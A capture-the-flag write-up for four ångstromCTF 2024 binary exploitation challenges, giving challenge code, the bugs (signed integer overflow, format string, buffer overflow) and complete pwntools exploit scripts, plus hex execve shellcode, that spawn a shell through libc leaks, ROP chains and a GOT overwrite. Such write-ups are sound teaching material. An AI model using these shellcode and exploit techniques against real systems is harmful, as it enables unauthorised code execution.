---
# System prepended metadata

title: ångstromCTF_2024
tags: [CTF time]

---

# Presidential 
## Overall
```python=
#!/usr/local/bin/python

import ctypes
import mmap
import sys
import os

print("This process has the PID", os.getpid())
flag = "redacted"
print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))
buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye")
```
## Only give the shellcode in hex to get the shell

```a=
lea rdi, [rip + binsh]
xor rax, rax
mov al, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall

binsh:
   .asciz "/bin/sh"
```
**488d3d0d0000004831c0b03b4831f64831d20f052f62696e2f736800**
# Exam 
## Overall
It is the problem about number of integer.
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-E8h]
  char v5[64]; // [rsp+10h] [rbp-E0h] BYREF
  char s[152]; // [rsp+50h] [rbp-A0h] BYREF
  unsigned __int64 v7; // [rsp+E8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  printf("How much should I not trust you? >:)\n: ");
  __isoc99_scanf("%d", &detrust);
  fgets(s, 150, stdin);
  if ( detrust >= 0 )
  {
    trust_level -= detrust;
    if ( trust_level == threshold )
    {
      puts("What kind of cheating are you doing?");
      puts("You haven't even signed your statement yet!");
      puts("You are BANNED from all future AP exams!!!");
    }
    else
    {
      while ( trust_level < threshold )
      {
        puts("\nI don't trust you enough >:)");
        printf("Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n: ");
        fgets(s, 150, stdin);
        if ( !strcmp(
                s,
                "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any "
                "information about any section of this exam.\n") )
          --trust_level;
      }
      stream = fopen("flag.txt", "r");
      fgets(v5, 64, stream);
      puts("\nYou will now take the multiple-choice portion of the exam.");
      puts("You should have in front of you the multiple-choice booklet and your answer sheet. ");
      printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n", v5);
    }
  }
  else
  {
    puts("Don't try to trick me into trusting you >:(");
  }
  return 0;
}
```

![image](https://hackmd.io/_uploads/Bk7xVtnE0.png)

- **trust_level = 0**

![image](https://hackmd.io/_uploads/H1zgHt240.png)
- **threshold = 0x7ffffffe**

The flow of the program
- Check detrust >=0, if not exit()
- Then **trust_level -= detrust**, it means: **trust_level = -detrust**
- Call loop while(trust_level < threshold) if input string s match the string in the code above -> **--trust_level**.
- Finally, I get the flag

## Bug
- **Number is signed.**
- So, i will input 0x7fffffff, so trust_level will: 0x80000001. After, it minus several times it will be 0x7fffffff
- Thus, I get the flag.
## Script
```python=
from pwn import *
import sys

context.log_level = 'debug'
context.binary = exe = ELF('./exam', checksec=False)

if len(sys.argv) == 2:
    r = process(exe.path)
    gdb.attach(r, gdbscript="""
               b *main
               b *main+113
               b *main+157
               b *main+301
               b *main+337
               b *main+339
               """)
elif len(sys.argv) == 3:
    r = remote('challs.actf.co', 31322)
else:
    r = process(exe.path)
    
r.sendafter(b': ', b'2147483647')
r.sendline(b'Hello')

try:
    while True:
        r.recvuntil(b'Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n:')
        r.sendline(b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.')
except Exception as e:
    pass
    
r.interactive()
```
# Bap
## Overall
***Basic format string + ROP***

![image](https://hackmd.io/_uploads/S1KIJt2NC.png)

![image](https://hackmd.io/_uploads/rkBDkY3EA.png)

![image](https://hackmd.io/_uploads/HkxcJK24A.png)

- **gets()** =))))

## Approach

***Leak libc -> ovewrite return address to call main again -> ROP***

![image](https://hackmd.io/_uploads/SkLWxYnN0.png)
- So, I need to use index 29.

## Script
```python=
from pwn import *
import sys

context.log_level = 'debug'
context.binary = exe = ELF('./bap', checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
    r = process(exe.path)
    gdb.attach(r, gdbscript="""
               b *main
               b *main+47
               b *main+64
               b *main+86
               """)
elif len(sys.argv) == 3:
    r = remote('challs.actf.co', 31323)
else:
    r = process(exe.path)


payload = b'|%29$p'
payload += b'a'*18
payload += p64(0x000000000040101a) #ret
payload += p64(exe.sym['main'])
r.sendlineafter(b': ', payload)
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
log.info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
libc.address = __libc_start_call_main_128 - 128 - 0x1dc0 - 0x28000
log.info("libc base: " + hex(libc.address))
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of libc: " + hex(libc.address))
poprdi_ret = libc.address + 0x000000000002a3e5

win = b'a'*24
win += p64(0x000000000040101a)  #ret
win += p64(poprdi_ret)
win += p64(binsh)
win += p64(system)
r.sendlineafter(b': ', win)
r.interactive()
```
# Og

## Overall

![image](https://hackmd.io/_uploads/r1bQz92EA.png)

![image](https://hackmd.io/_uploads/SJTEMq2EC.png)

The program allow me input one time. Then exit

## Bug
![image](https://hackmd.io/_uploads/Hy_fX924A.png)


```cpp=
unsigned __int64 go()
{
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("kill $PPID; Enter your name: ");
  fgets(s, 66, stdin);
  printf("Gotta go. See you around, ");
  printf(s);
  return v2 - __readfsqword(0x28u);
}
```
***fmtstr + bof***

## Approach 
Because I only have one time to input, I must find the way to rewind the go function again. The approach is that I will overwrite the __stack_chk_fail@got.plt

Although I can use bof, the program limits max one gadget.
Therefore, I need to use technique stack pivot(leave ; ret) to pop the shell.

**fmtstr:** leak the canary, the libc and the stack.
**bof:** get the gadget.

## Script
```python=
from pwn import *
import sys

context.log_level = 'debug'
context.binary = exe = ELF('./og', checksec=False)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

if len(sys.argv) == 2:
    r = process(exe.path)
    gdb.attach(r, gdbscript="""
               b *main
               b *go+126
               b *go+146
               b *go+163
               b *go+190
               """)
elif len(sys.argv) == 3:
    r = remote('challs.actf.co', 31312)
else:
    r = process(exe.path)
    
def info(s):
    return log.info(s)
    
#leak canary, leak libc, call main again
#offset_canary = 40

#%27$p|%13$p
#canary + ret
#input from %6$p

"""
pwndbg> disass 0x401070
Dump of assembler code for function __stack_chk_fail@plt:
   0x0000000000401070 <+0>:     endbr64
   0x0000000000401074 <+4>:     bnd jmp QWORD PTR [rip+0x2f9d]        # 0x404018 <__stack_chk_fail@got.plt>
   0x000000000040107b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
pwndbg> x/gx 0x404018
0x404018 <__stack_chk_fail@got.plt>:    0x0000000000401030
"""
payload_leak = b'|%33$p|%15$p||%46$p|%4451c'                   
payload_leak += b'%10$hn'                                                           
payload_leak += p64(0x404018)                           #overwritestackcheckfail.got
payload_leak += b'a'*16

r.sendlineafter(b'kill $PPID; Enter your name: ', payload_leak)
r.recvuntil(b'|')
canary_leak = int(r.recvn(18), 16) 
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
r.recvuntil(b'||')
buf_stack_leak = int(r.recvn(14), 16) - 328
libc.address = __libc_start_call_main_128 - 0x1d90 - 0x28000
pop_rdi_ret  = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']

info("The address of buf leak: " + hex(buf_stack_leak))
info("Canary leak: " + hex(canary_leak))
info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
info("The address of libc: " + hex(libc.address))
info("pop_rdi_ret: " + hex(pop_rdi_ret))
info("binsh: " + hex(binsh))
info("system: " + hex(system))

payload = p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
payload += b'b'*16
payload += p64(canary_leak)
payload += p64(buf_stack_leak - 0x40 - 0x8)
payload += p64(0x0000000000401253)  #leave ; ret
r.sendlineafter(b'kill $PPID; Enter your name: ', payload)

r.interactive()
```
